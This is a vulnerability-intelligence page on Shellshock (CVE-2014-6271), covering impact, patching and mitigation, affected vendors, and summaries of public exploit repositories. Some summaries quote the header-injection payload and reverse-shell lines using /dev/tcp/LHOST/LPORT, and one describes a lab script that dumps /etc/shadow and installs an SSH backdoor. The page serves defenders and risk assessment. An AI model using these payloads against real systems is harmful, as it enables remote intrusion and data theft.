Skip to main content
Mallory
CriticalExploited in the wildCISA KEVPublic exploitVulnerability

CVE-2014-6271: Shellshock

Published Sep 24, 2014 · Updated 9 days ago
Trending this weekNot trendingOutside this week’s top 100
Mention activity · 30 days1 mention · peak 1 in a dayToday
CVSS9.8Critical · v3.1
EPSS100.0%100th percentile
CISA KEVYesAdded Jan 28, 2022
In the wildActivePer CISA KEV
Vendors
F5GNU ProjectDebian ProjectRed HatArista NetworksInternational Business MachinesOracle CorporationSuse
IdentifiersCVE-2014-6271CWE-78 · Improper Neutralization of Special…

CVE-2014-6271, known as Shellshock, is a command-injection vulnerability in GNU Bash through version 4.3. When importing shell function definitions from environment variables, vulnerable Bash versions execute commands appended after the function definition. An attacker who controls an environment-variable value passed to a subsequently invoked Bash process can therefore execute arbitrary commands. Exposed execution paths include Apache HTTP Server mod_cgi and mod_cgid, OpenSSH ForceCommand configurations, and scripts invoked by certain DHCP clients. The initial fix was incomplete; CVE-2014-7169 identifies a related vulnerability remaining after that fix.

Do you run this?See affected versions in your environment and whether adversaries are exploiting this vulnerability against assets like yours.
Check your exposure
Analyst brief

Impact, mitigation & remediation

What it means and what to do now: patch path, interim mitigations, and the assume-compromise checklist.

Impact

What an attacker gets, and what they’ve been doing with it.

Successful exploitation compromises confidentiality, integrity, and availability within the privileges of the application invoking Bash. Attackers can read or modify accessible data, execute programs, disrupt services, and install malware. Privileged execution contexts can permit full system compromise; root access is not an inherent consequence in every configuration. Shellshock has been exploited in the wild to install malware, including Gafgyt, and compromised systems can support further intrusion and lateral movement.

Mitigation

If you can’t patch tonight, do this now.

Until patching is possible, restrict or disable services that pass attacker-controlled environment variables to Bash. Disable unnecessary Bash-based CGI execution, limit network access to affected services, and prevent untrusted input from reaching Bash execution contexts. Use network segmentation to reduce exposure and contain potential compromise. WAF and IPS detections can provide additional coverage for HTTP-based exploitation attempts but do not replace Bash updates or protect every execution path.

Remediation

Patch, then assume compromise.

Install the latest vendor-supported Bash security updates for every affected operating system, appliance, and application-bundled Bash installation. Do not rely solely on the initial CVE-2014-6271 patch: apply subsequent updates addressing CVE-2014-7169 and the related Shellshock flaws. Follow product-specific advisories for embedded or bundled installations and validate patch effectiveness using published vendor or CERT test cases. Amazon Linux installations should apply the Bash update associated with ALAS-2014-418; affected appliances require their vendor-provided updates.

Public exploits

Exploits

31 exploits validated by Mallory's analysis. Hidden: 21 rejected by Mallory's analysis as not a working exploit; 18 not yet analyzed, such as Exploit-DB entries. Showing the 25 most capable, earliest first.

View more in app →
cups_bash_env_exec.rbThis repository contains a single Metasploit module (modules/exploits/multi/http/cups_bash_env_exec.rb) that exploits the Shellshock vulnerability (CVE-2014-6271 and CVE-2014-6278) in Bash via the CUPS printing system. The exploit works by injecting a malicious payload into the PRINTER_INFO or PRINTER_LOCATION environment variables when adding a new printer through the CUPS web interface. The payload is executed by Bash when the CUPS filter is triggered (e.g., by printing a test page), allowing for arbitrary command execution on the target system. The module requires valid CUPS credentials and targets the CUPS web interface, typically accessible on port 631 over HTTPS. The exploit is weaponized, leveraging Metasploit's payload system to deliver arbitrary shell commands. The code is written in Ruby and is structured as a standard Metasploit exploit module, with functions for adding and deleting printers, printing test pages, and handling authentication. The main network endpoints targeted are the CUPS admin and printer HTTP(S) endpoints.Disclosed Sep 24, 2014 · Framework: metasploit · ruby · networkWeaponizedbash_environment.rbThis repository contains a single Metasploit module (modules/exploits/unix/dhcp/bash_environment.rb) that exploits the Shellshock vulnerability (CVE-2014-6271) in Bash via the DHCP client (dhclient) on Unix systems. The module acts as a malicious DHCP server, responding to DHCP requests with specially crafted options (DOMAINNAME, HOSTNAME, URL) containing a Shellshock payload. When the vulnerable dhclient processes these options, the Bash shell executes the injected command, which writes the attacker's payload to /etc/crontab for persistence. The module includes cleanup functionality to remove the payload from crontab after a session is established. The exploit is operational, providing remote code execution on vulnerable systems. The main attack vector is network-based, targeting systems that request DHCP configuration from the attacker's server. The only fingerprintable endpoint is the /etc/crontab file, which is modified during exploitation.Disclosed Sep 24, 2014 · Framework: metasploit · ruby · networkWeaponizedvmware_bash_function_root.rbThis repository contains a single Metasploit module (modules/exploits/osx/local/vmware_bash_function_root.rb) that exploits the Shellshock vulnerability (CVE-2014-6271) in the context of VMware Fusion on Mac OS X 10.9 Mavericks x64. The exploit leverages a vulnerable SUID binary (vmware-vmx-stats) within the VMware Fusion application to escalate local privileges to root. The module checks for the presence of the Shellshock bug and the VMware Fusion application, uploads a Mach-O payload to a writable directory (default: /tmp), and executes it with root privileges by exploiting the vulnerable binary. The payload is customizable and can provide a shell or meterpreter session. The exploit is operational and requires local access to the target system. The main fingerprintable endpoints are the VMware Fusion application path, the SUID binary path, and the writable directory used for payload deployment.Disclosed Sep 24, 2014 · Framework: metasploit · ruby · localWeaponizeddhclient_bash_env.rbThis repository contains a single Metasploit auxiliary module: 'dhclient_bash_env.rb'. The module exploits the Shellshock vulnerability (CVE-2014-6271) in GNU Bash by acting as a malicious DHCP server. When a vulnerable DHCP client (dhclient) requests a lease, the module responds with DHCP options (hostname, domainname, URL) containing a specially crafted environment variable that triggers code execution via Bash. The default payload opens a reverse shell using netcat to 127.0.0.1:4444, but the command is configurable. The module is written in Ruby and leverages Metasploit's DHCP server mixin. The attack vector is network-based, requiring the attacker to be able to respond to DHCP requests from the target. The exploit is operational and can be used to achieve remote code execution on unpatched systems running vulnerable versions of Bash and dhclient.Disclosed Sep 24, 2014 · Framework: metasploit · ruby · networkWeaponizedpureftpd_bash_env_exec.rbThis repository contains a single Metasploit module: 'pureftpd_bash_env_exec.rb', which exploits the Shellshock vulnerability (CVE-2014-6271) in Bash when used as an external authentication script for Pure-FTPd. The exploit targets Pure-FTPd servers compiled with the --with-extauth flag and configured to use a Bash script for authentication. It works by injecting a malicious environment variable via the FTP password field, triggering arbitrary command execution through Bash. The module supports both x86 and x86_64 Linux targets and uses Metasploit's CmdStager to deliver payloads, typically resulting in a remote shell. The only required endpoint is the FTP service (default port 21) on the target. The code is mature, weaponized, and part of the Metasploit framework, making it easy to use and customize for penetration testing or exploitation.Disclosed Sep 24, 2014 · Framework: metasploit · ruby · networkWeaponizedqmail_bash_env_exec.rbThis repository contains a single Metasploit module (modules/exploits/unix/smtp/qmail_bash_env_exec.rb) that exploits the Shellshock vulnerability (CVE-2014-6271) in systems running Qmail SMTP (qmail-1.03 or netqmail-1.06) on Unix. The exploit leverages the lack of validation in the MAIL FROM field to inject a malicious Bash environment variable payload, which is executed if /bin/sh is linked to a vulnerable version of bash. The module is written in Ruby and uses the Metasploit framework's SMTP library to interact with the target service. The payload is a command (cmd) payload, allowing arbitrary shell command execution on the target. The exploit requires a valid recipient email address and does not work on the 'qmailrocks' community version. The repository is operational and provides a working exploit for remote code execution via the network on vulnerable Qmail SMTP servers.Disclosed Sep 24, 2014 · Framework: metasploit · ruby · networkWeaponizedapache_mod_cgi_bash_env_exec.rbThis repository contains a single Metasploit module: 'apache_mod_cgi_bash_env_exec.rb', which exploits the Shellshock vulnerability (CVE-2014-6271 and CVE-2014-6278) in Bash when invoked via CGI scripts on Apache HTTP servers. The exploit works by sending a specially crafted HTTP request (default method: GET) to a user-specified CGI script (TARGETURI), injecting a malicious Bash function definition into a chosen HTTP header (default: User-Agent). This triggers arbitrary command execution on the server if it is vulnerable. The module supports both x86 and x86_64 Linux targets and uses Metasploit's CmdStager to deliver payloads, typically resulting in a remote shell. The module is highly configurable, allowing the attacker to specify the HTTP method, header, and other parameters. The only fingerprintable endpoint is the CGI script path, which must be known or guessed by the attacker. The code is weaponized, as it is part of the Metasploit framework and supports customizable payloads.Disclosed Sep 24, 2014 · Framework: metasploit · ruby · networkWeaponizedipfire_bashbug_exec.rbThis repository contains a single Metasploit module (modules/exploits/linux/http/ipfire_bashbug_exec.rb) that exploits the Shellshock vulnerability (CVE-2014-6271) in IPFire firewall systems (version <= 2.15 Core Update 82). The exploit targets the web interface's CGI endpoint (/cgi-bin/index.cgi) and requires valid credentials to authenticate. It injects a malicious Bash environment variable via a custom HTTP header, triggering arbitrary command execution on the target system. The module is weaponized, supporting customizable command payloads via Metasploit's payload system. The code is written in Ruby and leverages Metasploit's HttpClient mixin for network communication. The exploit is operational against vulnerable IPFire systems accessible over HTTPS (default port 444).Disclosed Sep 29, 2014 · Framework: metasploit · ruby · networkWeaponizedadvantech_switch_bash_env_exec.rbThis repository contains a single Metasploit module: 'advantech_switch_bash_env_exec.rb'. The module exploits the Shellshock vulnerability (CVE-2014-6271) in the Bash shell, specifically targeting the 'ping.sh' CGI script on Advantech switches running the Boa web server (tested on firmware 1322_D1.98). The exploit works by sending a specially crafted HTTP request to '/cgi-bin/ping.sh', injecting a malicious payload via the User-Agent header to achieve remote code execution. The module is weaponized, supporting customizable command payloads, and is designed for use within the Metasploit framework. The only fingerprintable endpoint is the '/cgi-bin/ping.sh' path on the target device. The code is well-structured, with clear separation of check and exploit logic, and includes references to public advisories and exploit databases.Disclosed Dec 1, 2015 · Framework: metasploit · ruby · networkWeaponizedRISThis repository contains a single Python script, 'ris.py', which is an interactive exploit for CVE-2014-6271 (Shellshock). The script targets web servers running CGI scripts that invoke a vulnerable version of GNU Bash. It works by sending HTTP GET requests to a specified CGI endpoint, injecting a malicious payload into a user-specified HTTP header. The payload leverages the Shellshock vulnerability to execute arbitrary shell commands on the server. The script first checks if the target is vulnerable by sending a test command, then provides an interactive shell-like interface for the attacker to run further commands. The script requires the user to specify the target domain/IP, CGI path, and the HTTP header to use for injection. The only file in the repository is the exploit script itself, written in Python, and it is fully operational for exploitation of vulnerable targets.sch3m4 · Disclosed Sep 29, 2014 · python · networkOperationalCGIShellThis repository provides a Python-based exploit for the Shellshock vulnerability (CVE-2014-6271) targeting CGI scripts on web servers. The main exploit code is in 'src/cgishell.py', which implements an interactive shell interface. The exploit works by sending HTTP requests to a specified CGI endpoint, injecting a malicious payload in the User-Agent header to execute arbitrary shell commands on the server. The README provides usage instructions and an example target URL. The exploit is operational, providing a working shell interface if the target is vulnerable. The repository is structured with a single main exploit script, a requirements file for dependencies, and documentation. No hardcoded targets are present, but the user must supply the vulnerable CGI URL.cj1324 · Disclosed Sep 29, 2014 · python · networkOperationalCVE-2014-6271This repository contains a Python proof-of-concept exploit for CVE-2014-6271 (Shellshock), targeting vulnerable CGI scripts that invoke Bash. The main file, 'shellpoc.py', takes three arguments: the target host, the vulnerable CGI path, and the attacker's host/IP and port (e.g., 10.10.10.1/4444). The script crafts an HTTP GET request to the specified CGI endpoint, injecting a Bash reverse shell payload via a custom HTTP header. If the target is vulnerable, it will execute the payload and connect back to the attacker's machine, providing a shell. The README provides usage instructions and an example. The exploit is operational, requiring a vulnerable CGI endpoint and a listening attacker machine. No hardcoded endpoints are present; all are supplied at runtime.zalalov · Disclosed Apr 30, 2017 · python · networkOperationalCVE-2014-6271This repository contains a Python exploit (shellshock.py) for CVE-2014-6271, also known as Shellshock, which targets vulnerable Bash versions (<4.3) on web servers running CGI scripts. The exploit works by sending a specially crafted HTTP request to a CGI endpoint (commonly under /cgi-bin/) with a malicious payload in HTTP headers (User-Agent, Cookie, Referer). This payload leverages the Shellshock vulnerability to execute arbitrary commands—in this case, spawning a reverse shell that connects back to the attacker's machine (LHOST:LPORT). The script supports both HTTP and HTTPS, attempting multiple TLS versions for SSL connections. The README provides usage instructions, configuration requirements, and example scenarios. The repository structure is simple, with one main exploit script and a README. The exploit is operational, requiring the attacker to set up a listener and supply the target URL, their own IP, and port. No detection or fake code is present; the exploit is functional and directly targets the vulnerability.b4keSn4ke · Disclosed Jul 29, 2021 · python · networkOperationalCVE-2014-6271This repository contains a single Python script, 'exploit.py', which is an exploit for the Shellshock vulnerability (CVE-2014-6271) affecting CGI-enabled web servers using vulnerable versions of GNU Bash. The script provides an interactive shell-like interface, allowing the user to send arbitrary commands to a specified target URL (e.g., http://10.10.14.24/cgi-bin/test.cgi). It does so by injecting commands into the 'User-Agent' HTTP header using the Shellshock payload format. The script expects the target URL as a command-line argument and prints usage instructions if not provided. The only external dependency is the 'requests' library. The exploit is operational and allows for arbitrary command execution on the vulnerable server, returning the output to the user. The repository is straightforward, containing only the exploit script with no additional files or documentation.akr3ch · Disclosed Apr 2, 2022 · python · networkOperationalCVE-2014-6271Repository contains a single Python3 exploit script and a README. The exploit targets Shellshock (CVE-2014-6271) in a web/CGI context (e.g., Apache with mod_cgi) by injecting a malicious function definition into the HTTP `User-Agent` header. Structure & purpose: - README.md: High-level description of Shellshock, lab links, and example nmap/curl commands for discovery/testing. - shellshock_exploit.py: Standalone Python script (entry point via `main()`) that: 1) Validates the target URL returns HTTP 200. 2) Performs a basic vulnerability check by sending `User-Agent: () { ignored; }; ... /usr/bin/id` and looking for a hardcoded `www-data` id string in the response. 3) If proceeding, starts a local netcat listener (`nc -lp LPORT`) and sends a second request with a reverse-shell payload: `/bin/bash -i >& /dev/tcp/LHOST/LPORT 0>&1`. Main exploit capabilities: - Remote command execution via Shellshock header injection. - Reverse shell callback to attacker-supplied LHOST/LPORT. Notable limitations/assumptions: - The vulnerability check is brittle (expects exact `uid=33(www-data)...` output), so non-Debian/Ubuntu targets or different web user IDs may be misclassified. - Requires `nc` installed locally and the attacker to be reachable from the target on the chosen port.J0hnTh3Kn1ght · Disclosed Jul 1, 2023 · python · networkOperationalCVE-2014-6271-EXPLOITThis repository is a Python-based Proof of Concept (PoC) exploit for CVE-2014-6271, also known as Shellshock, a critical vulnerability in GNU Bash (<= 4.3) that allows remote code execution via specially crafted environment variables. The main file, CVE-2014-6271.py, provides both scanning and exploitation capabilities. It can test single or multiple URLs (from a file) for vulnerability by injecting a test string into HTTP headers (User-Agent, Referer, Cookie) targeting common CGI script paths. If a target is found vulnerable, the script can deliver a Bash reverse shell payload, connecting back to the attacker's specified host and port. The exploit also includes a listener component to catch the reverse shell. The code uses several third-party Python libraries for user interface and shell management. The README.md provides background on the vulnerability and a disclaimer. The requirements.txt lists all necessary Python dependencies. No hardcoded IPs or domains are present; the script is designed for flexible targeting by the user. The overall structure is typical for a PoC exploit, with clear separation between scanning, exploitation, and listener logic.K3ysTr0K3R · Disclosed May 18, 2024 · python · networkOperationalshellshock-pocSmall standalone exploit repository with 2 files: a README and a single Python script. The script exploit.py is the main entry point and implements a Shellshock (CVE-2014-6271) remote code execution exploit against web-accessible CGI-style endpoints. It accepts target IP, vulnerable URI, attacker IP, callback port, and an optional HTTPS flag. The exploit builds a malicious User-Agent header containing the classic Shellshock function definition prefix and appends a Bash reverse shell command using /dev/tcp to connect back to the attacker. It then sends one HTTP GET request to the specified endpoint using the requests library. Success reporting is minimal and based only on whether the HTTP response status code equals 200; it does not verify shell establishment. The repository is operational but basic: no target discovery, no vulnerability check, no payload customization beyond callback parameters, no error handling beyond simple status output, and no obfuscation or framework integration. Its purpose is straightforward remote exploitation of vulnerable Bash-backed web CGI handlers to obtain an interactive reverse shell.TheRealCiscoo · Disclosed Jul 14, 2024 · python · markdown · web · networkOperationalShellshock-ExploitThis repository contains a Python exploit script (exploit.py) targeting the Shellshock vulnerability (CVE-2014-6271) in GNU Bash versions 1.14 through 4.3. The exploit abuses the User-Agent HTTP header to inject a Bash command that opens a reverse shell from the vulnerable server to the attacker's machine. The script requires the attacker to specify the target IP, vulnerable URI, attacker's IP, and port for the reverse shell. The README provides usage instructions and references the CVE. The exploit is operational, providing a working reverse shell payload, and is not part of a larger framework. The main attack vector is network-based, targeting web servers with vulnerable CGI scripts. The endpoints involved are the target's HTTP/HTTPS interface and the attacker's TCP listener.TheRealCiscoo · Disclosed Jul 14, 2024 · python · networkOperationalCVE-2014-6271This repository is a demonstration and exploitation environment for CVE-2014-6271 (Shellshock), a critical vulnerability in GNU Bash that allows remote code execution via specially crafted environment variables, typically through CGI scripts on web servers. The repository includes a Dockerfile to build a vulnerable Ubuntu 12.04 environment with Apache and a CGI Bash script ('vulnerable'). The main exploit script, 'exp_deface.sh', sends a malicious HTTP request to the CGI endpoint, exploiting Shellshock to overwrite the web root index.html file, effectively defacing the site. The README provides detailed instructions for building the environment, running the vulnerable service, and exploiting it both manually (to read /etc/passwd) and via the provided script (to deface the site). The main attack vector is network-based, targeting the HTTP CGI endpoint. The repository is structured for educational and demonstration purposes, with clear separation between setup (Dockerfile, main.sh), the vulnerable service (vulnerable, index.html), and the exploit (exp_deface.sh).RadYio · Disclosed Nov 26, 2024 · bash · dockerfile · networkOperationalShellshock_vuln_ExploitThis repository contains a Python exploit script (CVE-2014-6271.py) targeting the Shellshock vulnerability (CVE-2014-6271) in GNU Bash. The exploit is designed to attack web servers running CGI scripts that invoke a vulnerable version of Bash. It works by sending specially crafted HTTP(S) requests to one or more CGI endpoints, injecting a Bash payload via HTTP headers (User-Agent, Cookie, Referer) that triggers remote code execution. The payload establishes a reverse shell from the target to the attacker's machine, providing an interactive shell if successful. The script supports both HTTP and HTTPS, custom CGI paths, and optional proxying. The repository also includes a README with usage instructions and a LICENSE file. The main entry point is CVE-2014-6271.py, which requires Python 3, pwntools, and requests. The exploit is operational, providing a working reverse shell payload, and is not part of a larger framework.knightc0de · Disclosed Jun 14, 2025 · python · networkOperationalCVE-2014-6271This repository contains a single Python script, 'shellshock.py', which is an exploit for the Shellshock vulnerability (CVE-2014-6271) in GNU Bash. The script first checks if a given URL is vulnerable by sending HTTP requests with specially crafted headers that trigger the vulnerability. If the target is vulnerable, the script provides a non-interactive shell by allowing the user to input commands, which are base64-encoded, sent via HTTP headers, decoded, and executed on the target server using Bash. The script targets web servers running CGI scripts that invoke a vulnerable version of Bash. The main attack vector is network-based, exploiting HTTP headers such as User-Agent, Referer, and Cookie. The script requires the attacker to supply a target URL as a command-line argument. Notable endpoints include the target URL, and the use of '/usr/bin/base64' and '/bin/bash' on the target system to process and execute commands.rsherstnev · Disclosed Jul 25, 2025 · python · networkOperationalCVE-2014-6271Repository contains a simple, standalone Python proof-of-concept/exploit for Shellshock (CVE-2014-6271) plus a detailed README. Structure: - README.md: Background on Shellshock, affected Bash versions, mitigation, and example curl payloads (including reverse shell via /dev/tcp). - ShellShock.py: The actual exploit tool. Exploit behavior (ShellShock.py): - Uses requests.get() to send an HTTP GET to a user-supplied CGI URL with a crafted header value containing the Shellshock function-import prefix. - Modes: - --test: sends payload "() { :;}; echo; echo 'VULN-SUCCESS'" and checks response body for the marker to indicate likely vulnerability. - --command: sends "() { :;}; echo; <cmd>" to execute arbitrary commands and prints the HTTP response body as command output. - --reverseshell: sends "() { :;}; bash -c \"bash -i >& /dev/tcp/LHOST/LPORT 0>&1\"" to trigger a reverse shell to the attacker. - Header injection is configurable via -H/--header (default User-Agent; suggests Referer/Cookie). Primary capability is unauthenticated remote command execution against web-exposed Bash CGI endpoints on vulnerable systems, with an optional reverse shell callback. The code is operational but basic (no target discovery, no multi-target scanning, no robust output parsing beyond marker matching).0xAshwesker · Disclosed Mar 6, 2026 · python · markdown · networkOperationalCVE-2014-6271This repository is a small standalone Python exploit for Shellshock (CVE-2014-6271). It contains one executable script, CVE-2014-6271.py, and a README. The Python script uses requests and colorama, displays a banner, prompts the operator for a target URL, then enters an infinite interactive loop asking for commands to run remotely. For each command, it builds a classic Shellshock payload in the HTTP User-Agent header: a crafted Bash function definition followed by '/bin/sh -c' and the operator command. It sends an HTTP GET request to the supplied CGI endpoint and prints the response body, enabling simple interactive command execution when the target is vulnerable. The exploit does not include target discovery, authentication bypass, persistence, or post-exploitation automation; it is a direct command-execution PoC with usable operational behavior. Fingerprintable artifacts are minimal and mostly operator-supplied, with the only hardcoded network example being 'http://example.com/cgi-bin/test.cgi' and the target-side shell path '/bin/sh'. The README accurately describes the exploit as targeting CGI environments that pass HTTP headers into vulnerable Bash instances.im2sinister · Disclosed Apr 24, 2026 · python · markdown · web · networkOperationalCVE-2014-6271This repository is a small standalone Python exploit for Shellshock (CVE-2014-6271). It contains one executable script, CVE-2014-6271.py, and a README. The Python script uses requests and colorama, displays a banner, prompts the operator for a target URL, then enters an infinite interactive loop asking for commands to execute. For each command, it builds a classic Shellshock payload in the User-Agent header: '() { :;}; echo; echo; /bin/sh -c ...', sends an HTTP GET request to the supplied target CGI URL, and prints the response body. The exploit capability is straightforward remote command execution against vulnerable Bash-backed CGI endpoints over HTTP. It does not include target discovery, authentication bypass, persistence, or post-exploitation automation; it assumes the operator already knows a reachable CGI endpoint. Structurally, the repository is minimal and purpose-built: one script as the entry point and one README describing Shellshock, installation, and intended use. The code is a real exploit rather than a detector-only script, because it actively executes arbitrary commands and returns output from the target.im2nerd · Disclosed Apr 24, 2026 · python · markdown · web · networkOperationalPenetration-Testing-Walkthrough-Hacksudo-ThorRepository is a small offensive lab project documenting and partially automating compromise of the VulnHub HackSudo Thor VM behind a pfSense firewall. Structure is simple: a long README walkthrough, one pfSense brute-force script, one password wordlist, and one Python automation script for post-exploitation through Metasploit RPC. The README describes the broader attack chain: brute-force pfSense webConfigurator on WAN using default/admin credentials, disable firewall restrictions, exploit Thor via Shellshock (CVE-2014-6271) at /cgi-bin/shell.sh to obtain a Meterpreter/www-data foothold, escalate to user thor through command injection in /home/thor/hammer.sh, then escalate to root via GTFOBins abuse of sudo service. The code itself implements two practical capabilities: (1) scripts/pfsense_brute.py performs CSRF-aware web login brute forcing against http://10.0.2.8/index.php using username admin and a local wordlist; (2) scripts/thor_full_chain.py connects to a locally exposed Metasploit RPC server on 127.0.0.1:55552, attaches to an existing session, drops into a shell, stabilizes it with a PTY, performs the documented privilege-escalation steps, enumerates the system, reads /root/root.txt and /root/proof.txt, dumps /etc/shadow and /etc/passwd, and installs a root SSH authorized_keys backdoor. This is not a standalone end-to-end exploit because initial exploitation of Thor is not implemented in code and instead assumed to already exist as a live Metasploit session; however, the included scripts are functional offensive tooling for credential attack and automated post-exploitation in the described lab.HevenTafese · Disclosed Apr 30, 2026 · python · text · web · network · localOperational
Exposure surface

Affected products & vendors

Products and vendors Mallory has correlated with this vulnerability. Open in Mallory to drill down to specific CPE configurations and version ranges.

VendorProductType
AppleMac Os Xapplication
Arista NetworksEosoperating_system
CanonicalUbuntu Linuxoperating_system
Check Point Software TechnologiesSecurity Gatewayapplication
Citrix SystemsNetscaler Sdx Firmwareoperating_system
Debian ProjectDebian Linuxoperating_system
F5Arx Firmwareoperating_system
F5Big-Ip Aamapplication
F5Big-Ip Access Policy Managerapplication
F5BIG-IP Advanced Firewall Managerapplication
F5Big-Ip Analyticsapplication
F5BIG-IP Application Security Managerapplication
F5BIG-IP DNSapplication
F5Big-Ip Edge Gatewayapplication
F5Big-Ip Link Controllerapplication
F5BIG-IP Local Traffic Managerapplication
F5BIG-IP Policy Enforcement Managerapplication
F5Big-Ip Psmapplication
F5BIG-IP WAN Optimization Managerapplication
F5Big-Ip Webacceleratorapplication
F5Big-Iq Cloudapplication
F5Big-Iq Deviceapplication
F5Big-Iq Securityapplication
F5Enterprise Managerapplication
F5Traffix Signaling Delivery Controllerapplication
GNU ProjectBashapplication
International Business MachinesFlex System V7000 Firmwareoperating_system
International Business MachinesInfosphere Guardium Database Activity Monitoringapplication
International Business MachinesPureapplication Systemapplication
International Business MachinesQradar Risk Managerapplication
International Business MachinesQradar Security Information And Event Managerapplication
International Business MachinesQradar Vulnerability Managerapplication
International Business MachinesSan Volume Controller Firmwareoperating_system
International Business MachinesSecurity Access Manager For Mobile 8.0 Firmwareoperating_system
International Business MachinesSecurity Access Manager For Web 7.0 Firmwareoperating_system
International Business MachinesSecurity Access Manager For Web 8.0 Firmwareoperating_system
International Business MachinesSmartcloud Entry Applianceapplication
International Business MachinesSmartcloud Provisioningapplication
International Business MachinesSoftware Defined Network For Virtual Environmentsapplication
International Business MachinesStarter Kit For Cloudapplication
International Business MachinesStn6500 Firmwareoperating_system
International Business MachinesStn6800 Firmwareoperating_system
International Business MachinesStn7800 Firmwareoperating_system
International Business MachinesStorwize V3500 Firmwareoperating_system
International Business MachinesStorwize V3700 Firmwareoperating_system
International Business MachinesStorwize V5000 Firmwareoperating_system
International Business MachinesStorwize V7000 Firmwareoperating_system
International Business MachinesWorkload Deployerapplication
MageiaMageiaoperating_system
NovellOpen Enterprise Serveroperating_system
NovellZenworks Configuration Managementapplication
OpensuseOpensuseoperating_system
Oracle CorporationLinuxoperating_system
QNAP SystemsQtsoperating_system
Red HatEnterprise Linux Desktopoperating_system
Red HatEnterprise Linux Eusoperating_system
Red HatEnterprise Linux For Ibm Z Systemsoperating_system
Red HatEnterprise Linux For Power Big Endianoperating_system
Red HatEnterprise Linux For Power Big Endian Eusoperating_system
Red HatEnterprise Linux For Scientific Computingoperating_system
Red HatEnterprise Linux Serveroperating_system
Red HatEnterprise Linux Server Ausoperating_system
Red HatEnterprise Linux Server From Rhuioperating_system
Red HatEnterprise Linux Server Tusoperating_system
Red HatEnterprise Linux Workstationoperating_system
Red HatEnterprise Virtualizationapplication
Red HatGluster Storage Server For On-Premiseapplication
Red HatRed Hat Enterprise Linuxoperating_system
SuseLinux Enterprise Software Development Kitoperating_system
SuseStudio Onsiteapplication
SuseSuse Linux Enterprise Desktopoperating_system
SuseSuse Linux Enterprise Serveroperating_system
VMwareVcenter Server Applianceapplication
VMwareVmware Esxoperating_system
FAQ

Frequently asked questions

Is CVE-2014-6271 exploited in the wild?
Yes. As of Nov 19, 2026, Mallory has reports of exploitation in the wild, and CISA added it to KEV on Jan 28, 2022.
Is there a public exploit for CVE-2014-6271?
Yes. Mallory tracks 31 public exploits or proofs of concept for CVE-2014-6271, the earliest disclosed Sep 24, 2014.
Is there a patch for CVE-2014-6271?
Install the latest vendor-supported Bash security updates for every affected operating system, appliance, and application-bundled Bash installation. Do not rely solely on the initial CVE-2014-6271 patch: apply subsequent updates addressing CVE-2014-7169 and the related Shellshock flaws.
What products are affected by CVE-2014-6271?
GNU Project Bash, F5 Arx Firmware, F5 Big-Ip Aam, F5 Big-Ip Access Policy Manager, F5 BIG-IP Advanced Firewall Manager, and at least 69 more.
How severe is CVE-2014-6271?
CVE-2014-6271 has a CVSS v3.1 score of 9.8 (Critical) and an EPSS score of 100.0% (100th percentile) as of Nov 19, 2026.
Mallory platform

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets are affected, which adversaries are exploiting it right now, and which detections to deploy tonight.
Exposure mappingQuery your assets running an affected version, and investigate the blast radius.
Threat actor evidence3Every report linking this CVE to a named adversary.
Associated malware25Malware families linked to this CVE, with evidence and IOCs.
Detection signatures36YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Vendor-by-vendor mappingCross-references every affected SKU, including bundled OEM variants.
Social activity10Community discussion across Reddit, Mastodon, and other social sources.